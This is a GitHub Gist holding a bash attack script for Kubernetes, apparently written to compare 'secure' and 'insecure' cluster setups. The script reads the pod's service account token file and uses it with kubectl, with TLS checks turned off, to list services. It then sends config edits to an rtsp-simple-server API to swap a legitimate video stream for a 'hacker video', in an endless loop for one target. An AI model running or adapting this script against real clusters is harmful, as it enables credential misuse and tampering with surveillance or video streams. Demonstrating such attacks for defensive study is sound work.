Last active
November 12, 2021 08:10
-
-
Save garygan89/f06be7b9f191f3a675ced7fdfcf91192 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ATTACK_TARGET=$1 | |
if [ $# -ne 1 ]; then | |
echo "usage: script secure OR script insecure" | |
exit 1 | |
fi | |
# get list of running services | |
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1 | |
if [ $? -eq 0 ]; then | |
sleep 5 | |
echo "Modifying existing RTSP stream to hacker video..." | |
if [ $ATTACK_TARGET == "secure" ]; then | |
while true; do curl -H "Content-Type: application/json" http://rtsp-simple-server.secure.svc.cluster.local:9997/v1/config/paths/edit/mystream -d @rtsp-legit2hacker.json -v --connect-timeout 1 ; done | |
else | |
curl -H "Content-Type: application/json" http://rtsp-simple-server.insecure.svc.cluster.local:9997/v1/config/paths/edit/mystream -d @rtsp-legit2hacker.json -v --connect-timeout 3 | |
fi | |
sleep 5 | |
else | |
echo "No info obtained, giving up..." | |
fi | |
# EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment